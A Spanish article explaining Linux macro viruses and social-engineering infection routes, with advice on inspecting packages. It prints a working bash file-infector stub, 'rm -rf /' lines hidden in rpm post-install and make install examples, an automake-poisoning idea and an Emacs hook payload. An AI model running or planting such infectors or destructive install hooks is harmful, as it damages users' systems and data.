Virus de macro



En esta segunda parte trataremos posibles implementaciones de virus de macro y algunas técnicas disponibles para burlar, con la complicidad del usuario, las medidas de seguridad elementales de Linux.

Definiciones tediosas de virus de macro y lenguajes de extensión



El virus de macro será para nosotros aquel que emplea la funcionalidad de otra aplicación para llevar a cabo su cometido. La aplicación de "apoyo" usualmente definirá algún lenguaje de extensión (o algo similar) en el que el virus será codificado. El éxito en su difusión depende de forma directa del tamaño de la base de usuarios de la aplicación de "apoyo".

Sobre los lenguajes de extensión



Una de las características más interesantes que puede ofrecer una aplicación es la de permitir al usuario reprogramar su comportamiento mediante un lenguaje de extensión. Los entornos de desarrollo integrados, los procesadores de palabras, etc son excelentes candidatos para incluir facilidades de este estilo.

Imaginemos por ejemplo que nos gustaría que al cambiar parte del código nuestro entorno de desarrollo nos permitiese enviar un mensaje automáticamente a otro desarrollador. Aunque el entorno no soporte en principio esa característica, con algunas líneas en un sencillo lenguaje de script incorporado (Pidiendo la colaboración quizás de una segunda aplicación como nuestro gestor de correo) es sencillo conseguirlo.

Lenguajes de script hay muchos y más o menos complejos. Uno es "Java Script", un lenguaje "tonto" en el sentido de que sólo vive para ser usado dentro de un programa extensible, ya que desde él sólo tendremos acceso a las funcionalidades que nos ofrezca el propio programa.

Por contra, otros como Perl o Python, empleados como lenguaje de extensión, incluyen muchos más "extras" (bibliotecas para casi todo) además de los que ofrezcamos desde nuestra aplicación. Esto se traduce en que los scripts pueden ser mucho más ricos y complejos.

El lenguaje de script en Windows por antonomasia es "VBasic for Applications". Cualquier aplicación de la propia Microsoft en la que resulte medianamente interesante incluir un intérprete y un lenguaje de extensión icorpora vba. El SDK para incluirlo en nuestras propias aplicaciones está disponible (gratis) en MSDN.

Las aplicaciones que lo utilicen "exportan" sus funcionalidades para hacerlas accesibles desde vba. También es habitual permitir el acceso desde cualquier lenguaje a través de la tecnología Active X (Como no :-)) y lo cierto es que queda muy aparente manejar el MSOffice desde programas en Python :-D

UNIX (y por ende Linux) tiene una enorme tradición de lenguajes de script (Tcl, Perl, etc) y de aplicaciones extensibles. Un ejemplo característico es Emacs, pero hay muchas más y de hecho todo el entorno se "ve" habitualmente como extensible en el lenguaje de nuestra shell: desde el lenguaje de la shell podemos escribir macro programas que accedan a la funcionalidad de cualquier aplicación del sistema.

Virus de macro: ¿sólo en Windows?



La respuesta es no o al menos no "en teoría".

Desde luego, en Linux aún no existe el suficiente nivel de integración entre aplicaciones para conseguir algo como esto:
>

Un código vbscript (o Java Script) incorporado en una página web pide al MSOffice que muestre su diálogo de seguridad, selecciona la opción "Ninguna" y lo valida, de forma totalmente transparente al usuario.

Ahora podemos cargar tranquilamente un documento Word "malvado" (en otro frame de la misma página) que por ejemplo incluya macros para borrar uno de cada tres de nuestros documentos y "pegarse" al resto.
>

Por cierto, esta vulnerabilidad, ya algo antigua, del combo Windows, MSOffice (o Outlook) e IExplorer es real y está documentada como "MSOffice 2000 UA Active X Control Incorrectly Marked 'Safe for Scripting'". Está disponible el parche en las páginas de Microsoft. La solución pasa por simplemente retirar el agente del MSOffice de las funcionalidades que se exportan para su uso desde scripts.

Este tipo de infecciones precisan de una integración muy estrecha entre navegador-sistema-programas_ofimáticos, de la que Linux de momento carece, pero aún no podemos estar tranquilos: los virus-scripts "malvados", incluso que se propaguen de forma autonoma, si son realizables en Linux.

Infector ELF, ¿en bash script?



Si recordamos la anterior entrega, al ejecutar el portador, nuestro "virus" ELF se limitaba a desplegar un mensaje y después cedía el control.

Observemos ahora una propuesta de infector "alternativo", escrito en shell script, aprovechando el rico entorno de desarrollo que nos brinda UNIX:
 ###
 #!/bin/sh
 # Uso: infector.sh binario
 # binario: el binario que infectaremos

 [ "$#" != "1" ] || ! [ -f "$1" ] && \
 echo "Uso: $0 binario" && \
 exit 1

 # Este es el "virus"
 (cat <<EOF
 #!/bin/sh
 tmp=/tmp/\`echo \$0 &#124; tr -d [\./]\`
 trap "rm -f \$tmp" 0 2 15
 echo "Hola, soy un virus"
 tail +9 \$0 > \$tmp
 chmod 700 \$tmp
 \$tmp \$@
 exit \$?
 EOF
 cat $1) > $1.inf
 chmod +x $1.inf
 ###



Se trata de un infector de archivos muy, muy sencillo escrito en shell script. En su funcionamiento es prácticamente idéntico a lo Que propusimos en C en la anterior entrega... En tan sólo una 130 líneas de código.

Nuestro infector introduce al principio de la cobaya este código "vírico":
 ###
 #!/bin/sh
 tmp=/tmp/`echo $0  &#124; tr -d [\./]`
 trap "rm -f $tmp" 0 2 15
 echo "Hola, soy un virus"
 tail +9 $0 > $tmp
 chmod 700 $tmp
 $tmp $@
 exit $?
 ###


¿Qué es lo que hace?: sencillamente ejecuta su "pay load" (Despliega un mensaje en pantalla) y después cede el control a una copia del programa original que sitúa en /tmp. Éste es el único punto de desencuentro entre la versión en ensamblador y la escrita en bash. Recordemos que la cesión del control en la primera se realiza con un salto a la dirección de comienzo del código original. Por desgracia, en bash no podemos trabajar a ese nivel (Al menos, no es evidente cómo hacerlo de forma sencilla :-)).

Otros detalles que tiene en cuenta este nuevo código vírico es engancharse a las señales 0, 2 y 15 para que, en caso de producirse (0 es "salida") se borre la copia para así no dejar rastro y devolver el mismo código de error que el programa original.

Podéis probar su funcionamiento con:
 $ cd
 $ cp /usr/bin/whoami .
 $ ./infector.sh whoami
 $ ./whoami.inf


De nuevo, lo que dijimos en el caso del "virus" en ensamblador sigue siendo válido aquí: para que este "virus" de ejemplo funcione como tal debería incluir el código del infector dentro de su propio cuerpo.

En bash, desde la ejecución de un programa previamente infectado es trivial añadir esta característica:
 ###
 # ...
 (head -n 8 $infectado ; cat $victima) > $cobaya
 # ...
 ####


Para evitar múltiples infecciones podemos por ejemplo optar por no infectar archivos que comiencen por "#!/bin/sh".

Las debilidades de este sistema son que es "fácil" detectar las infecciones a simple vista (aunque lo mismo se podía decir del ILoveYou :-)) y que si en algún momento el portador hace uso de argv[0] nos delataremos (aparecerá como ejecutado desde "tmp/").

Espero que entendáis que no ofrezcamos un ejemplo de virus con rutina de infección "completa" para no alentar ni facilitar el trabajo a los indeseables y como siempre: si alguien completa la implementación de estos ejemplos, estaremos encantados de recibir una copia de su trabajo.

Los virus y los permisos



Hasta ahora hemos estado bordeando en nuestra argumentación un problema "grave": nuestros virus tienen que superar los controles de seguridad que impone Linux. Todas las operaciones sobre archivos son supervisadas y el virus no tiene, en principio, más privilegios que el usuario que lanzó al portador.

El virus está limitado entonces a poder propagarse por los ejecutables y a modificar los archivos propiedad del usuario que lo lanzó.

Esto puede ser suficiente para nuestras pretensiones (aunque no podamos comprometer el sistema, sí podemos borrar documentos, robar claves, etc del usuario) pero si no fuera así tendremos que buscar alguna forma alternativa de burlar la seguridad que aportan los permisos.

Evidentemente, la seguridad en Linux no es perfecta y es factible (en teoría al menos) codificar dentro del cuerpo del Linux un exploit con el que comprometer algún servicio no actualizado o mal configurado. Igual que un asaltante humano, el virus puede intentar hacerse con los permisos de superusuario, emplear un rootkit, etc.

Sin embargo, esto es muy poco práctico: primero porque dependemos de que el usuario disponga de una versión muy determinada del servicio o del programa que queremos comprometer y segundo porque el tamaño del virus se dispara. A pesar de todo, hay un pequeño número de gusanos que emplean técnicas como ésta (y que pueden aprovecharse además para infectar sistemas con virus más convencionales).

Nosotros vamos a discutir técnicas más simples (y quizás más efectivas) basadas en la candidez del usuario. Emplearemos la "ingeniería social".

Infecciones durante la instalación



Lo ideal sería que el usuario ejecutase al infector con permisos de superusuario, al menos en una primera infección: lo demás iría rodado. Para ello tendremos que "ayudarle" un poco:

Pensemos un momento en los paquetes instalables de ciertas distribuciones, los rpm por ejemplo:

Habitualmente, un usuario se descarga un paquete rpm, se da permisos de superusuario y lo instala. La utilidad "rpm" durante la instalación se ejecuta como root.

En principio, rpm al instalar no hace más que copiar archivos, crear directorios, actualizar la base de datos de paquetes instalados... Y ejecutar los scripts de postinstalación.

Esos scripts de postinstalación existen por si es necesario realizar operaciones para terminar la instalación de un paquete. Por ejemplo, si instalamos una biblioteca dinámica es muy recomendable que al final actualicemos ld.so.cache con un "ldconfig".

Las órdenes que incluyen esos scripts se ejecutan como root y será eso lo que explotemos para infectar a nuestra primera víctima.

Un paquete rpm se genera a partir de un guión (un archivo *.spec), en el que se especifican los pasos que se llevaran a cabo para construir el binario a partir de los fuentes, cómo instalarlo, de qué archivos consta el paquete (y de que tipo son), los scripts de postinstalación y de postdesinstalación, etc.

Su sintaxis está descrita en la documentación de rpm y no es objetivo de éste documento explicar cómo escribir guiones de rpm. Nos fijaremos sólo en la sintaxis de los órdenes de post instalación:
 %post
 # a partir de aquí van las órdenes que ejecutaremos
 # ...


Entonces, nuestro *.spec "maligno" lucirá más o menos de la siguiente forma:
 ###
 # ...
 % build
 # ...
 %install
 # ...
 % post
 /usr/share/mi_aplicación/infector /un_binario_del_sistema

 %files
 # ...
 /usr/share/mi_aplicación/infector
 ###


Suponemos que el virus, una vez insertado en "un_binario_del_sistema" es capaz de valerse por si sólo (infectar a otras víctimas más algún payload) y que no precisa de "infector" para nada. Rpm sólo es "cómplice" en un primer momento, después el virus seguirá su vida de forma normal.

Un punto importante es la elección de "un_binario_del_sistema". El premio gordo para el virus sería infectar un archivo que *siempre* se ejecute como root (suid).

Un buen candidato para "un_binario_del_sistema" podría ser "/usr/X11R6/bin/X" (El cliente X), que debe ejecutarse como root si quiere tener acceso al hardware de vídeo (Nota: esto ya no es así) y por eso tiene el bit suid activado. El virus podría usar XFree86 como "base de operaciones" e ir infectando otros archivos cada vez que se ejecute y detecte que tiene los permisos suficientes.

O podría también, como parte del proceso de infección, activar el suid de los archivos que infecte. De forma que, incluso cuando el usuario normal los ejecute, estos puedan infectar a otros archivos o actuar sobre la integridad del sistema a placer. Esto supone un mayor riesgo de ser detectado ("¿por qué tendrá "ls" una 's' en su lista de permisos?") pero si el usuario es descuidado y/o con pocos conocimientos, el virus se le puede pasar inadvertido durante el suficiente tiempo.

Como contrapartida, el uso de un archivo "+s" descarta a nuestro pequeño infector bash. Linux, por defecto, no tiene en cuenta el bit suid de los scripts (pero no así de los intérpretes, lo que puede dar mucho juego). Además hay que tener en cuenta que el bit "s" se desactiva, como medida de precaución, cuando abrimos un archivo para escritura. Es necesario que el virus lo restablezca una vez termine de infectar.

Otra opción es infectar un archivo muy usado (ls, por ejemplo) y esperar a que lo ejecute el superusuario: tarde o temprano el usuario hará un ls como root en su workstation y el virus estará al acecho para detectarlo y machacarle sin piedad.

Evidentemente, la gente que escribió rpm en su día tuvo en cuenta todas esas cosas. No sólo se emplean firmas digitales para certificar paquetes ("Si no me fió de quien ha empaquetado la aplicación, no la instalo"), también hay opciones para consultar los scripts de post sin instalar, saltárselos o incluso hay opciones para hacer la instalación dentro de una jaula chroot.

Sin embargo, MUY pocos usuarios se preocupan de esto (Especialmente de entre los "nuevos") y muchos frontends gráficos para la instalación de paquetes "enmascaran" esas opciones por no considerarlas imprescindibles.

Para ilustrar todo esto veremos el paquete ssh, el cual usa scripts de postinstalación y contiene archivos suid.

Lo primero será comprobar la firma digital y la suma de comprobación del paquete, una vez obtengamos, de forma segura, la clave pública del empaquetador y la hayamos incluido en nuestro anillo público:
 $ rpm -K ssh-*.i386.rpm
 ssh-1.2.27-1.i386.rpm: size md5 gpg OK


El paquete parece de confianza: ha pasado la comprobación de tamaño, la suma de comprobación y la firma gpg.

Veamos los scripts de postinstalación:
 $ rpm -qp --scripts ssh-*.i386.rpm
 postinstall script (through /bin/sh):
 if test -f /etc/ssh_host_key; then
 echo "You already have a host key in /etc/ssh_host_key."
 else
 echo "Generating 1024 bit host key."
 /usr/bin/ssh-keygen -b 1024 -f /etc/ssh_host_key -N 
 fi


El efecto de este script es generar una clave pública para nuestra máquina si no dispusieramos de una ya.

Si queremos por alguna razón saltarnos ese paso, podemos hacer lo siguiente:
 # rpm -ivv --noscripts ssh-*.i386.rpm


También es posible comprobar los pasos que que realiza el paquete sin necesidad de instalarlo:
 # rpm -ivv --test ssh-*.i386.rpm


O si preferimos instalar el paquete en un entorno controlado:
 # rpm -ivv --root ./jaula ssh-*.i386.rpm



Igualmente, si sospechamos que alguno de los archivos del paquete pretende instalarse como suid, podremos consultarlo por ejemplo de la siguiente forma:
 # rpm -qplv ssh-*.i386.rpm  &#124;  awk ' &#123; if (index ($1, "s")) print $RT &#125; '


A lo que el sistema responde (en vuestro caso, las fechas y el tamaño puede variar):
 -rws--x--x root root 213348 jul 4 2000 /usr/bin/ssh1


Ahora es el momento de preguntarse si ssh1 necesita o no esos permisos.

Una nota al margen: aquí estamos hablando de virus pero creo que a nadie se le escapará que un simple:
 %post
 rm -rf /


Es igual de plausible en este contexto y mucho más dañino que ningún virus: cuando instalemos el paquete, se borrará el contenido de nuestra partición raíz =:-(.

Ahora quizás penséis que la solución (drástica) pasa por no instalar ningún paquete binario y compilar todo, pero por ahí también nos pueden cazar:

Pensemos en cómo procede el usuario medio a instalar un nuevo software en su máquina:
 $ tar -xzf paquete.tar
 $ cd paquete
 $ ./configure
 $ make all
 $ su
 # make install


De entre todos los pasos, "make install" es el que se ejecuta habitualmente con permisos de superusuario. Igual que antes, "make" se ejecuta como root y "make" puede llevar a cabo, como parte del objetivo "install", la infección de nuestra primera cobaya (Una vez que amablemente también ha compilado el infector). E igual que antes, nada impide que en vez del proceso de infección, plantemos un sencillo "@rm -rf /" en el objetivo "install" (la arroba en make evita que el usuario vea la orden ejecutándose).

No es habitual auditar todo el código que instalamos. Tampoco es normal que leamos los archivos Makefile en busca de triquiñuelas como ésta, sobre todo si son generados por una herramienta como automake. Mucho menos si el usuario es confiado.

Y ya que hablamos de automake, también es factible escribir un "virus de macro" que afecte a esa herramienta. Por si alguien no lo conoce, Automake genera kilométricos Makefiles portables y con infinidad de características a partir de una plantilla predefinida.

Imaginemos que el usuario tiene instalado automake: durante el "make install" podremos modificar su plantilla "maestra" para que todos los nuevos Makefiles que le genere automake incluyan código para que, durante las instalaciones, se modifiquen la plantilla del automake del sistema donde se esté instalando y quizás algo más ( borrar archivos al azar, por ejemplo).

A partir de ahí, en todos los paquetes que el usuario escriba y distribuya usando automake/autoconf estará propagando inadvertidamente un auténtico "virus de macro" (que bien sólo podrá contagiar a otros usuarios de automake).

¿Necesitas permisos?: pídelos al usuario



Pongamos por caso que nuestro virus, viendo que no tiene permisos suficientes para hacer maldades, opta por desplegar un mensaje como éste y termina la aplicación portadora:

$ ./portador app: you must be root

No sería sorprendente que en un porcentaje *alto* de casos, el inocente usuario hiciese:

$ su # ./portador etc, etc

También se puede ser mucho más refinado. Imaginad que nos llega un pequeña demo, escrita en svgalib, que nos felicita las navidades con unos cuantos fuegos artificiales (¿a alguien le suena "happy99"?).

Los programas que hagan uso de svgalib necesita permisos de superusuario para ejecutarse (Nota: de nuevo, esto está resuelto en versiones actuales de svgalib), de no tenerlos el error típico que suelta es:

svgalib: Cannot get I/O permissions.

El usuario (incluso algo más experimentado que el anterior) lo ejecuta como root y:
  1. Disfruta de la demo y de los fuegos artificiales.
  2. Infecta su sistema con el virus que traía enganchado el programa.


Svgalib puede ser poco usual, pero el mismo efecto podemos conseguir con una presentación para las X que emplee DGA a pantalla completa o similar.

En definitiva, cualquier programa que sea convincente que tenga que ejecutarse como root es susceptible de albergar a la criaturita.

Virus de macro en aplicaciones programables en Linux



Estos virus en Linux actualmente son prácticamente irrealizables (o están tan cerca de serlo como para consideralos así a todos los efectos) debido a la baja cooperación e integración entre las diversas aplicaciones.

Las herramientas que pueden parecer más sensibles, por ejemplo las aplicaciones ofimáticas que sí permitan incluir macros (como Star Office) tienen poca aceptación, múltiples avisos de seguridad y sus lenguajes de extensión, limitados y "autistas" no parecen un buen marco para desarrollar infectores.

Los entornos de escritorio, no obstante, se mueven hacia un lugar que quizás permita nuevos tipo de virus en un futuro. Por ejemplo, quizás se podrían usar los cabos para dcop desde un script Python para desactivar la seguridad de Koffice para después cargar desde el mismo script un documento con hipotéticas macros "malvadas" para kword... Si tal cosa estuviese soportada :-(.

Lo que sí es simple en la actualidad es implicar a las aplicaciones programables en el "pay load" de un virus para conseguir efectos molestos de todo tipo. Veamos un ejemplo de esto en el caso de Emacs:

Emacs es un editor programable en un lenguaje primo del Lisp (Llamado Emacs-Lisp o elisp).

Además, es posiblemente el mejor exponente de aplicación programable que exista en el mundillo informático: practicamente cualquier tarea que se pueda desempeñar con una computadora es posible realizarla desde Emacs gracias a que una legión de usuarios ha creado centenares de extensiones en elisp.

La edición de documentos web, pasando por visualización de imágenes, "psicoanálisis" (Tipo Eliza o el españolísimo Herby), interpretación de páginas web, cliente ftp, jugar al Tetris (o a los marcianitos, o al ajedrez, o...), consulta de la ayuda en línea, emulación de terminal y un larguísimo etcétera son las tareas que podemos hacer de forma confortable desde Emacs.

Una de las características de las que dispone Emacs es que, si detecta el tipo de archivo que pretendemos editar (normalmente por su extensión) cargará el tipo de edición definido. Es decir, si se trata de un archivo *.h o *.c o si incluye en sus "variables locales" una referencia a "mode: c", arrancará el modo de edición C de forma automática

Los modos de edición Emacs (como el modo C) permiten que se les enganchen "añadidos" que serán ejecutados sin supervisión del usuario cuando se carguen. Por ejemplo:

 ;;;
 (defun preferencias-c-mode-common-hook ()
 (c-set-style "linux")
 (turn-on-font-lock)
 (line-number-mode t)
 (setq c-basic-offset 4)
 (define-key c-mode-base-map "\C-m" 'newline-and-indent))
 (add-hook 'c-mode-common-hook 'preferencias-c-mode-common-hook)
 ;;;


Si ejecutamos este código elisp, la función "preferencias-c-mode-common-hook" será invocada cuando se cargue el modo "C" en esa sesión.

Otro apunte interesante es que Emacs dispone de funciones (accesibles, como no, desde elisp) que permiten ejecutar órdenes externas: un buen ejemplo de su uso lo podreis ver en el paquete "Lilotest".

Con todo esto sería sencillo programar una función que, por decir algo, se dedicase a enviar a todo los usuarios del sistema y/o a todos nuestros contactos en la libreta de direcciones mailrc una copia de lo que estamos editando (o de nuestro anillo privado de claves pgp/gpg o de lo que queráis).

Si después la enganchamos al modo C en el proceso de inicialización de nuestra "inocente" extensión, cada vez que el usuario empiece a editar archivos fuentes en C empezará a hacer sus diabluras.

Lo que está ahí descrito puede ser perfectamente el "pay load" de un infector bash y quizás sea lo más similar a un virus "a lo Outlook" que podamos conseguir en Linux.

Esa misma idea, aplicada a un ejemplo mucho más simple y sin controlar infecciones sucesivas:
 ###
 #!/bin/sh
 tmp=/tmp/`echo $0 &#124; tr -d [\./]`
 trap "rm -f $tmp" 0 2 15
 [ -f $HOME/.emacs ] && echo \
 "(add-hook 'c-mode-common-hook \
 '(lambda()(insert \"Hola, soy un virus\")))" >> $HOME/.emacs
 tail +11 $0 > $tmp
 chmod 700 $tmp
 $tmp $@
 exit $?
 ###



El payload consiste en introducir la cadena "Hola, soy un virus" en todos los archivos fuente de C que editemos con Emacs.

Si en vez de insertarlo en el ".emacs" somos capaces de introducirlo ya "compilado" y con la cadena debidamente ofuscada en alguno de los cientos de paquetes de extensión que acompañan al editor, nuestras posibilidades de pasar inadvertido se multiplican.

Despedida y cierre



Y eso es todo lo que tenía que contaros. Espero que os haya aportado esa pizca de paranoia que todo usuario de computadoras necesita :-). Descargad el software sólo de sitios de plena confianza, cuidado con las actualizaciones automáticas, absteneros de pasar por "extraños" mirrors. Tampoco es mala cosa que hagáis referencia a esos mismos sitios por su ip y no por su nombre.